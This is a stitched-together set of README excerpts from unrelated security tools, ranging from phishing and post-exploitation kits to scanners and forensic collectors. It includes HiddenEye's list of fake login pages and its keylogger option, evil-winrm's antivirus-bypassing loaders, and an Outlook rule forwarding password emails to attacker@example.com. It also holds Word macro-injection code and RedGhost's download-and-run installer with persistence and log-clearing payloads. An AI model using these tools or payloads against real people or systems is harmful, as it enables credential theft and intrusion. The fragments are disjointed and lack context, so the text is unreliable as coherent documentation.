• a list of commands to exploit
• a list of exploits
• some description on how and why the attack could be performed

1. ANONUD4Y (https://github.com/An0nUD4Y)
2. USAMA ABDUL SATTAR (https://github.com/usama7628674)
3. sTiKyt (https://github.com/sTiKyt)
4. UNDEADSEC (https://github.com/UndeadSec)
5. Micrafast (https://github.com/Micrafast)
6. ___________ (WAITING FOR YOU)

• Anonud4y ( I don't remember if i have done Anything )
• Usama ( A Most active Developer)
• sTiKyt ( Guy Who recustomized everything )
• UNDEADSEC (For His wonderful repo socialfish which motivated us a lot)
• TheLinuxChoice ( For His Tools Phishing Pages )

• Kali Linux - Rolling Edition
• Parrot OS - Rolling Edition
• Linux Mint - 18.3 Sylvia
• Ubuntu - 16.04.3 LTS
• MacOS High Sierra
• Arch Linux
• Manjaro XFCE Edition 17.1.12
• Black Arch
• Userland app (For Android Users)

• Python 3
• Wget from Python
• PHP
• sudo

• Check closed & solved issues/bugs before opening new.
• Make sure your issue is related to the codes and resources of this repository.
• Its your responsibility to response on your opened issues.
• If we don't found user response on his/her issue in the particular time interval , Then we have to close that issue.
• Do Not Spam or Advertise & Respect Everyone.

• Now you will have live information about the victims such as : IP ADDRESS, Geolocation, ISP, Country, & many more.

• All the sites are mobile compatible.

• Now you will also have the ability to capture all the keystokes of victim.
• You can now Deploy Keyloggers With (Y/N) option.
• Major issues fixed.

• We care about Android Users, So now we have came with two ways to run HiddenEye in Android Devices.

• You Have to Download UserLand App. Click Here To Download it.
• To read more how to set up userland app Read HERE

• You Have to Download Termux App. Click Here To Download it.
• For Further instruction Check Instructions
• Termux Users Clone With This Command , Unless Errors may occur during Running.

git clone -b Termux-Support-Branch https://github.com/DarkSecDevelopers/HiddenEye.git

• NOW FOCUS EASILY ON TASKS...
• CUSTOMIZE APP WITH YOUR OWN THEMES

• Major issues with serveo is fixed.
• Now You can choose out of CUSTOM URL and RANDOM URL.

• Pages are taken from various tool including ShellPhish , Blackeye , SocialFish .

• Traditional Facebook login page.
• Advanced Poll Method.
• Fake Security login with Facebook Page.
• Facebook messenger login page.

• Traditional Google login page.
• Advanced Poll Method.
• New Google Page.

• Traditional LinkedIn login page.

• Traditional Github login page.

• Traditional Stackoverflow login page.

• Similar Wordpress login page.

• Traditional Twitter login page.

• Traditional Instagram login page.
• Instagram Autoliker Phishing Page.
• Instagram Profile Scenario Advanced attack.
• Instagram Badge Verify Attack [New]
• Instagram AutoFollower Phishing Page by (https://github.com/thelinuxchoice)

• Traditional Snapchat Login Page

• Traditional Yahoo Login Page

• Traditional Twitch Login Page [ Login With Facebook Also Available ]

• Traditional Microsoft-Live Web Login Page

• Traditional Steam Web Login Page

• Traditional VK Web Login Page
• Advanced Poll Method

• Traditional iCloud Web Login Page

• Traditional GitLab Login Page

• Traditional Netflix Login Page

• Traditional Origin Login Page

• Traditional Pinterest Login Page

• Traditional Protonmail Login Page

• Traditional Spotify Login Page

• Traditional Quora Login Page

• Traditional PornHub Login Page

• Traditional Adobe Login Page

• Traditional Badoo Login Page

• Traditional CryptoCurrency Login Page

• Traditional DevianArt Login Page

• Traditional DropBox Login Page

• Traditional eBay Login Page

• Traditional Myspace Login Page

• Traditional PayPal Login Page

• Traditional Shopify Login Page

• Traditional Verizon Login Page

• Traditional Yandex Login Page

• docker
• vncviewer
• xterm
• curl

• Linux (e.g. Alpine, Debian )
• tor
• procps
• ncat
• iptables

• Linux (e.g. Kali)
• ‎xfce4 or another desktop environment (for vnc access)
• tightvncserver

git clone https://github.com/bcapptain/dockernymous.git

docker network create --driver=bridge --subnet=192.168.0.0/24 docker_internal

docker pull alpine

docker run -it alpine /bin/sh
apk add --update tor iptables iproute2
exit

docker commit [Container ID] my_gateway

docker ps -a

docker pull kalilinux/kali-linux-docker

docker run -it kalilinux/kali-linux-docker /bin/bash
apt-get update
apt-get dist-upgrade
apt install kali-linux-top10

apt-get install tightvncserver
apt-get install curl

$ apt-get install xfce4 
$ apt-get clean
$ exit

$ docker commit [Container ID] my_workstation

$ docker ps -a

bash dockernymous.sh

chmod +x dockernymous.sh 

./dockernymous.sh

• Nessus (v6/v7/v8)
• Qualys Web Applications
• Qualys Vulnerability Management
• OpenVAS (v7/v8/v9)
• Tenable.io
• Detectify
• Nexpose
• Insight VM
• NMAP
• Burp Suite
• OWASP ZAP
• More to come

• ELK
• Jira
• Splunk

1. Follow the install requirements
2. Fill out the section you want to process in frameworks_example.ini file
3. [JIRA] If using Jira, fill Jira config in the config file mentioned above.
4. [ELK] Modify the IP settings in the Logstash files to accommodate your environment and import them to your logstash conf directory (default is /etc/logstash/conf.d/)
5. [ELK] Import the Kibana visualizations
6. Run Vulnwhisperer

• Python 2.7
• Vulnerability Scanner
• Reporting System: Jira / ElasticStack 6.6

sudo apt-get install  zlib1g-dev libxml2-dev libxslt1-dev 

virtualenv venv (will create the python 2.7 virtualenv)
source venv/bin/activate (start the virtualenv, now pip will run there and should install libraries without sudo)

deactivate (for quitting the virtualenv once you are done)

pip install -r /path/to/VulnWhisperer/requirements.txt
cd /path/to/VulnWhisperer
python setup.py install

export HTTP_PROXY=http://example.com:8080
export HTTPS_PROXY=http://example.com:8080

• Configure Ini file
• Setup Logstash File
• Import ElasticSearch Templates
• Import Kibana Dashboards

(optional flag: -F -> provides "Fancy" log colouring, good for comprehension when manually executing VulnWhisperer)
vuln_whisperer -c configs/frameworks_example.ini -s nessus 
or
vuln_whisperer -c configs/frameworks_example.ini -s qualys

• VulnWhisperer
• Logstash 6.6
• ElasticSearch 6.6
• Kibana 6.6

• Create a Vulnerability Standard
• Map every scanner results to the standard
• Create Scanner module guidelines for easy integration of new scanners (consistency will allow #14)
• Refactor the code to reuse functions and enable full compatibility among modules
• Change Nessus CSV to JSON (Consistency and Fix #82)
• Adapt single Logstash to standard and Kibana Dashboards
• Implement Detectify Scanner
• Implement Splunk Reporting/Dashboards

• Austin Taylor (@HuntOperator)
• Justin Henderson (@smapper)

• Quim Montal (@qmontal)
• @pemontto
• @cybergoof

sudo pip3 install requirements.txt   

python3 airopy.py -h  

python3 airopy.py -i wlx00c0ca81fb80 --aps  

python3 airopy.py -i wlx00c0ca81fb80 --stations  

python3 airopy.py -i wlx00c0ca81fb80 --aps --stations  

python3 airopy.py -i wlx00c0ca81fb80 --stations -d 0  

• aallan
• WiFiBroot

   ___ __ __  ____  _                  
  /  _]  |  ||    || |                 
 /  [_|  |  | |  | | |                 
|    _]  |  | |  | | |___              
|   [_|  :  | |  | |     |             
|     |\   /  |  | |     |             
|_____| \_/  |____||_____|             

 __    __  ____  ____   ____   ___ ___ 
|  |__|  ||    ||    \ |    \ |   |   |
|  |  |  | |  | |  _  ||  D  )| _   _ |
|  |  |  | |  | |  |  ||    / |  \_/  |
|  `  '  | |  | |  |  ||    \ |   |   |
 \      /  |  | |  |  ||  .  \|   |   |
  \_/\_/  |____||__|__||__|\_||___|___|


                           By: CyberVaca@HackPlayers

• Command History
• WinRM command completion
• Local files completion
• Upload and download files
• List remote machine services
• FullLanguage Powershell language mode
• Load Powershell scripts
• Load in memory dll files bypassing some AVs
• Load in memory C# (C Sharp) compiled exe files bypassing some AVs
• Colorization on output messages (can be disabled optionally)

Usage: evil-winrm -i IP -u USER -s SCRIPTS_PATH -e EXES_PATH [-P PORT] [-p PASS] [-U URL]
    -i, --ip IP                      Remote host IP or hostname (required)
    -P, --port PORT                  Remote host port (default 5985)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts path (required)
    -e, --executables EXES_PATH      C# executables path (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -V, --version                    Show version
    -h, --help                       Display this help message

• Step 1. Clone the repo: git clone https://github.com/Hackplayers/evil-winrm.git
• Step 2. Ready. Just launch it! ~$ cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

• Step 1. Install it: gem install evil-winrm
• Step 2. Ready. Just launch it! ~$ evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

• upload: local files can be auto-completed using tab key. It is not needed to put a remote_path if the local file is in the same directory as evil-winrm.rb file.
  
  • usage: upload local_path remote_path
• download: it is not needed to set local_path if the remote file is in the current directory.
  
  • usage: download remote_path local_path
• services: list all services. No administrator permissions needed.
  
• menu: load the Invoke-Binary and l04d3r-LoadDll functions that we will explain below. When a ps1 is loaded all its functions will be shown up.

• To load a ps1 file you just have to type the name (auto-completion usnig tab allowed). The scripts must be in the path set at -s argument. Type menu again and see the loaded functions.
  

• Invoke-Binary: allows exes compiled from c# to be executed in memory. The name can be auto-completed using tab key and allows up to 3 parameters. The executables must be in the path set at -e argument.
  

• l04d3r-LoadDll: allows loading dll libraries in memory, it is equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
  The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions. 

• To disable colors just modify on code this variable $colors_enabled. Set it to false: $colors_enabled = false

• cybervaca

• OscarAkaElvis
• jarilaos
• vis0r

• Alamot for his original code.
• 3v4Si0N for his awesome dll loader.

• Retrieve all Tactics, Techniques, Actors, Malware, Tools, and Mitigations
  
• All techniques have suggested mitigations as a property
  
• For each class you can access additional information about related data points:
  
• Actor
  
  • Tools used by the Actor or Group
  • Malware used by the Actor or Group
  • Techniques this Actor or Group uses
• Malware
  
  • Actor or Group(s) using this malware
  • Techniques this malware is used with
• Mitigation
  
  • Techniques related to a specific set of mitigation suggestions
• Tactic
  
  • Techniques found in a specific Tactic (phase)
• Technique
  
  • Tactics a technique is found in
  • Mitigation suggestions for a given technique
  • Actor or Group(s) identified as using this technique
• Tools
  
  • Techniques that the specified tool is used within
  • Actor or Group(s) using a specified tool

pip install pyattck

pip install pyattck

from pyattck import Attck

attack = Attck()

• actor
• malware
• mitigation
• tactic
• technique
• tools

from pyattck import Attck

attack = Attck()

# accessing actors
for actor in attack.actors:
    print(actor)

    # accessing malware used by an actor or group
    for malware in actor.malware:
        print(malware)

    # accessing tools used by an actor or group
    for tool in actor.tools:
        print(tool)

    # accessing techniques used by an actor or group
    for technique in actor.techniques:
        print(technique)

# accessing malware
for malware in attack.malwares:
    print(malware)

    # accessing actor or groups using this malware
    for actor in malware.actors:
        print(actor)

    # accessing techniques that this malware is used in
    for technique in malware.techniques:
        print(technique)

# accessing mitigation
for mitigation in attack.mitigations:
    print(mit)

    # accessing techni   ques related to mitigation recommendations
    for technique in mitigation.techniques:
        print(technique)

# accessing tactics
for tactic in attack.tactics:
    print(tactic)

    # accessing techniques related to this tactic
    for technique in tactic.techniques:
        print(technique)

# accessing techniques
for technique in attack.techniques:
    print(technique)

    # accessing tactics that this technique belongs to
    for tactic in technique.tactics:
        print(tactic)

    # accessing mitigation recommendations for this technique
    for mitigation in technique.mitigation:
        print(mitigation)

    # accessing actors using this technique
    for actor in technique.actors:
        print(actor)


# accessing tools
for tool in attack.tools:
       print(tool)

    # accessing techniques this tool is used in
    for technique in tool.techniques:
        print(technique)

    # accessing actor or groups using this tool
    for actor in tool.actors:
        print(actor)

• 1.0.0
  • Initial release of pyattck to PyPi
• 1.0.1
  • Updating Documentation with new reference links

1. Fork it (https://github.com/swimlane/pyattck/fork)
2. Create your feature branch (git checkout -b feature/fooBar)
3. Commit your changes (git commit -am 'Add some fooBar')
4. Push to the branch (git push origin feature/fooBar)
5. Create a new Pull Request

• Extraction of keyworded e-mails from Outlook.
• Creation of Outlook Rules.
• Extraction of files from OneDrive/Sharepoint.
• Injection of macros on Word documents.

{      
    "displayName": "Example Rule",      
    "sequence": 2,      
    "isEnabled": true,          
    "conditions": {
        "bodyContains": [
          "password"       
        ]
     },
     "actions": {
        "forwardTo": [
          {
             "emailAddress": {
                "name": "Attacker Email",
                "address": "attacker@example.com"
              }
           }
        ],
        "stopProcessingRules": false
     }    
}

 Dim wdApp   Set wdApp = CreateObject("Word.Application")   wdApp.Documents.Open("{DOCUMENT}")   wdApp.Documents(1).VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "{MACRO}"   wdApp.Documents(1).SaveAs2 "{OUTPUT}", 0   wdApp.Quit  

 Dim wdApp
 Set wdApp = CreateObject("Word.Application")
 wdApp.Documents.Open("{DOCUMENT}")
 wdApp.Documents(1).VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "{MACRO}"
 wdApp.Documents(1).SaveAs2 "{OUTPUT}", 0
 wdApp.Quit

cd %GOPATH%
git clone https://github.com/0x09AL/o365-attack-toolkit
cd o365-attack-toolkit
dep ensure
go build

In computing, hardening is usually the process of securing a system by reducing its surface of vulnerability, which is larger when a system performs more functions; in principle a single-function system is more secure than a multipurpose one. Reducing available ways of attack typically includes changing default passwords, the removal of unnecessary software, unnecessary usernames or logins, and the disabling or removal of unnecessary services.

The project name is derived from the 'graphene'. Graphene is a one-atom-thick layer of carbon atoms arranged in a hexagonal lattice. In proportion to its thickness, it is about 100 times stronger than the strongest steel.

• Firewall
• User
• Network
• Services
• Kernel
• Filesystem
• Other

pip install graphenex

python setup.py install 

cd grapheneX
pipenv install
pipenv run python -m graphenex

• Flask-SocketIO
  • Flask
• coloredlogs
• terminaltables
• PyInquirer

usage: grapheneX [-h] [-v] [-w] [--open] [host:port]

positional arguments:
  host:port      host and port to run the web interface

optional arguments:
  -h, --help     show this help message and exit
  -v, --version  show version information
  -w, --web      run the grapheneX web server
  --open         open browser on web server start

• Animated gifs and screenshots added for demonstration and include the test execution of the unversioned grapheneX. Use grapheneX or python -m graphenex command for the execution.
• grapheneX currently supports Python3.7
• Project's some functions (such as hardening) might not work without root access. So consider running the grapheneX with sudo/administrative access.

• The default host and port value are 0.0.0.0:8080. It can be changed via the host:port argument as shown below.

python grapheneX.py -w 192.168.1.36:8090

• Use --open argument to open the browser after the server start.

python grapheneX.py -w --open

switch [NAMESPACE]

• Supports autocomplete for namespaces.

switch [NAMESPACE]/[MODULE]

use [MODULE]

• Supports autocomplete for modules.

• Adding module presets

"presets": [
        {
            "name": "Preset_1",
            "modules": [
                "namespace1/Module_Name1",
                "namespace2/Module_Name2",
            ],
            "target_os": "linux/win"
        },
        {
            "name": "Preset_2",
            "modules": [
                "namespace/All"
            ],
            "target_os": "linux/win"
        }
    ]

search [QUERY]

• Adding modules with manage

• Adding modules manually

"namespace": [
        {
            "name": "Module_Name",
            "desc": "This is the module description.",
            "command": "echo 'hardening command'",
            "require_superuser": "True/False",
            "target_os": "linux/win"
        }
    ]

• Editing modules

• Removing modules

web [host:port]

• Add new modules for Linux and Windows.

Note:Orbit only runs on Python 3.2 and above.

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F,1ETBbsHPvbydW7hGWXXKXZ3pxVh3VFoMaX

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F -l 100

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F -d 2

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F -t 20

python3 orbit.py -s 1AJbsFZ64EpEfS5UAjAfcUG8pH8Jn3rn1F -o output.json

1. Install Docker for MacOS or Windows. You'll need to create a Docker account if you don't already have one.
2. git clone git://github.com/ScaleSec/vulnado
3. cd vulnado
4. docker-compose up
5. Open a browser and navigate to the client to make sure it's working: http://localhost:1337
6. Then back in your terminal verify you have connection to your API server: nc -vz localhost 8080

• SQL Injection
• XSS - Cross Site Scripting
• SSRF - Server Side Request Forgery
• RCE - Remote Code Execution& Reverse Shell

• Is this machine infected?
• How'd that malware get there?
• How can I prevent and detect further infection?

$ sudo osxcollector.py
Wrote 35394 lines.
Output in osxcollect-2014_12_21-08_49_39.tar.gz

$ sudo osxcollector/osxcollector.py

$ sudo /usr/bin/python2.7 osxcollector/osxcollector.py

• -i INCIDENT_PREFIX/--id=INCIDENT_PREFIX: Sets an identifier which is used as the prefix of the output file. The default value is osxcollect.
  

  $ sudo osxcollector.py -i IncontinentSealord
  Wrote 35394 lines.
  Output in IncontinentSealord-2014_12_21-08_49_39.tar.gz

  Get creative with incident names, it makes it easier to laugh through the pain.
  
• -p ROOTPATH/--path=ROOTPATH: Sets the path to the root of the filesystem to run collection on. The default value is /. This is great for running collection on the image of a disk.
  

  $ sudo osxcollector.py -p '/mnt/powned'

• -s SECTION/--section=SECTION: Runs only a portion of the full collection. Can be specified more than once. The full list of sections and subsections is:
  
  • version
  • system_info
  • kext
  • startup
    • launch_agents
    • scripting_additions
    • startup_items
    • login_items
  • applications
    • applications
    • install_history
  • quarantines
  • downloads
    • downloads
    • email_downloads
    • old_email_downloads
  • chrome
    • history
    • archived_history
    • cookies
    • login_data
    • top_sites
    • web_data
    • databases
    • local_storage
    • preferences
  • firefox
    • cookies
    • downloads
    • formhistory
    • history
    • signons
    • permissions
    • addons
    • extension
    • content_prefs
    • health_report
    • webapps_store
    • json_files
  • safari
    • downloads
    • history
    • extensions
    • databases
    • localstorage
    • extension_files
  • accounts
    • system_admins
    • system_users
    • social_accounts
    • recent_items
  • mail
  • full_hash

  $ sudo osxcollector.py -s 'startup' -s 'downloads'

• -c/--collect-cookies: Collect cookies' value. By default OSXCollector does not dump the value of a cookie, as it may contain sensitive information (e.g. session id).
  
• -l/--collect-local-storage: Collect the values stored in web browsers' local storage. By default OSXCollector does not dump the values as they may contain sensitive information.
  
• -d/--debug: Enables verbose output and python breakpoints. If something is wrong with OSXCollector, try this.
  

  $ sudo osxcollector.py -d

• osxcollector_incident_id: A unique ID shared by every record.
• osxcollector_section: The section or type of data this record holds.
• osxcollector_subsection: The subsection or more detailed descriptor of the type of data this record holds.

• atime: The file accessed time.
• ctime: The file creation time.
• mtime: The file modified time.
• file_path: The absolute path to the file.
• md5: MD5 hash of the file contents.
• sha1: SHA1 hash of the file contents.
• sha2: SHA2 hash of the file contents.

• xattr-wherefrom: A list containing the source and referrer URLs for the downloaded file.
• xattr-quarantines: A string describing which application downloaded the file.

• osxcollector_table_name: The table name the row comes from.
• osxcollector_db_path: The absolute path to the SQLite file.

• osxcollector_username: The name of the user

• seconds since epoch
• milliseconds since epoch
• seconds since 2001-01-01
• seconds since 1601-01-01

• system name
• node name
• release
• version
• machine

• /System/Library/Extensions
• /Library/Extensions

• /System/Library/LaunchAgents
• /System/Library/LaunchDaemons
• /Library/LaunchAgents
• ~/Library/LaunchAgents
• /Library/LaunchDaemons
• /System/Library/ScriptingAdditions
• /Library/ScriptingAdditions
• /System/Library/StartupItems
• /Library/StartupItems
• ~/Library/Preferences/com.apple.loginitems.plist

• /Applications
• ~/Applications
• /Library/Receipts/InstallHistory.plist

• ~/Downloads
• ~/Library/Mail Downloads
• ~/Library/Containers/com.apple.mail/Data/Library/Mail Downloads

• History
• Archived History
• Cookies
• Extensions
• Login Data
• Top Sites
• Web Data

• Cookies
• Downloads
• Form History
• History
• Signons
• Permissions
• Addons
• Extensions
• Content Preferences
• Health Report
• Webapps Store

• Downloads
• History
• Extensions
• Databases
• Local Storage

• system admins: /private/var/db/dslocal/nodes/Default/groups/admin.plist
• system users: /private/var/db/dslocal/nodes/Default/users
• social accounts: ~/Library/Accounts/Accounts3.sqlite
• users' recent items: ~/Library/Preferences/com.apple.recentitems.plist

• ~/Library/Mail
• ~/Library/Mail Downloads

$ sudo osxcollector.py -s full_hash

$ cat INCIDENT32.json | grep '2014-01-01 11:3[2-8]'

$ cat INCIDENT32.json | grep '2014-01-01 11:3[2-8]' | jq 'select(has("url"))|.url'

$ cat INCIDENT32.json | jq 'select(.osxcollector_username=="ivanlei")|.'

• OSXCollector: Forensic Collection and Automated Analysis for OS X by Ivan Leichtling

• OSXCollector: Automated forensic evidence collection & analysis for OS X by Kuba Sendor @ BruCON 0x07
• Squashing Rotten Apples: Automated forensics & analysis for Mac OS X with OSXCollector by Kuba Sendor @ BSides Manchester 2015
• OSXCollector by Ivan Leichtling @ Macbrained's August Meet-Up
• OSXCollector - Automated Forensic Evidence Collection & Analysis for OS X by Ivan Leichtling @ OpenNSM
• OSXCollector - Automated Forensic Evidence Collection & Analysis for OS X by Ivan Leichtling @ Duo Tech Talk (blog post)

• OSX Archaeology: Becoming Indiana Jones with OSXCollector and Strata by Chris Henderson & Justin Larson @ SAINTCon 2015

• Sarah Edward's mac4n6.com - The best presentations on Mac forensics.

• KnockKnock - KnockKnock is a command line python script that displays persistent OS X binaries that are set to execute automatically at each boot.
• Grr - Google Rapid Response: remote live forensics for incident response
• osquery - SQL powered operating system instrumentation, monitoring, and analytics

pip install -e .  # set up to run from source tree
                  # Or if you want to install instead
python setup.py install # may need sudo

make check

$ uncompyle6 *compiled-python-file-pyc-or-pyo*

$ uncompyle6 -h

• https://github.com/zrax/pycdc : purports to support all versions of Python. It is written in C++ and is most accurate for Python versions around 2.7 and 3.3 when the code was more actively developed. Accuracy for more recent versions of Python 3 and early versions of Python are especially lacking. See its issue tracker for details. Currently lightly maintained.
• https://code.google.com/archive/p/unpyc3/ : supports Python 3.2 only. The above projects use a different decompiling technique than what is used here. Currently unmaintained.
• https://github.com/figment/unpyc3/ : fork of above, but supports Python 3.3 only. Includes some fixes like supporting function annotations. Currently unmaintained.
• https://github.com/wibiti/uncompyle2 : supports Python 2.7 only, but does that fairly well. There are situations where uncompyle6 results are incorrect while uncompyle2 results are not, but more often uncompyle6 is correct when uncompyle2 is not. Because uncompyle6 adheres to accuracy over idiomatic Python, uncompyle2 can produce more natural-looking code when it is correct. Currently uncompyle2 is lightly maintained. See its issue tracker for more details
• How to report a bug
• The HISTORY file.
• https://github.com/rocky/python-xdis : Cross Python version disassembler
• https://github.com/rocky/python-xasm : Cross Python version assembler
• https://github.com/rocky/python-uncompyle6/wiki : Wiki Documents which describe the code and aspects of it in more detail

• Payloads

• SudoInject

• lsInject

• SSHKeyInject

• Crontab

• SysTimer

• GetRoot

• Clearlogs

• MassInfoGrab

• CheckVM

• MemoryExec

• BanIp

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; ./redghost.sh

wget https://raw.githubusercontent.com/d4rk007/RedGhost/master/redghost.sh; chmod +x redghost.sh; apt-get install dialog; apt-get install gcc; apt-get install iptables; apt-get install strace; ./redghost.sh

• Python 3.x
• pip3
• git

• aiohttp
• asyncio
• aiodns

$ sudo apt-get install git python3 python3-pip -y

$ git clone https://github.com/WeebSec/weebdns.git
$ cd weebdns
$ sudo pip3 install -r requirements.txt
$ python3 weebdns.py

• This program distributed as-is, without any warranty;
• No official support, if you like this tool, feel free to contribute.

• Unpack VDM containers of Windows Defender/Microsoft Security Essentials;
• Decrypt VDM container embedded in Malicious software Removal Tool (MRT.exe);
• Extract all PE images from unpacked/decrypted containers on the fly (-e switch):
  • dump VDLLs (Virtual DLLs);
  • dump VFS (Virtual File System) contents;
  • dump signatures auxiliary images;
  • dump GAPA (Generic Application Level Protocol Analyzer) images used by NIS (Network Inspection System);
  • code can be adapted to dump type specific chunks of database (not implemented);
• Faster than any script.

• file - filename of VDM container (*.vdm file or MRT.exe executable);
• -e optional parameter, extract all found PE image chunks found in VDM after unpacking/decrypting (this including VFS components and emulator VDLLs).

• wdextract c:\wdbase\mpasbase.vdm
• wdextract c:\wdbase\mpasbase.vdm -e
• wdextract c:\wdbase\mrt.exe
• wdextract c:\wdbase\mrt.exe -e

• Source code written in C;
• Built with MSVS 2017 with Windows SDK 17763 installed;
• Can be built with previous versions of MSVS and SDK's.

• PowerShell unpack script for packed VDM containers, https://gist.github.com/mattifestation/3af5a472e11b7e135273e71cb5fed866
• Windows Defender Emulator Tools, https://github.com/0xAlexei/WindowsDefenderTools
• Porting Windows Dynamic Link Libraries to Linux, https://github.com/taviso/loadlibrary
• MpEnum, https://github.com/hfiref0x/MpEnum
• libmpclient, https://github.com/UldisRinkevichs/libmpclient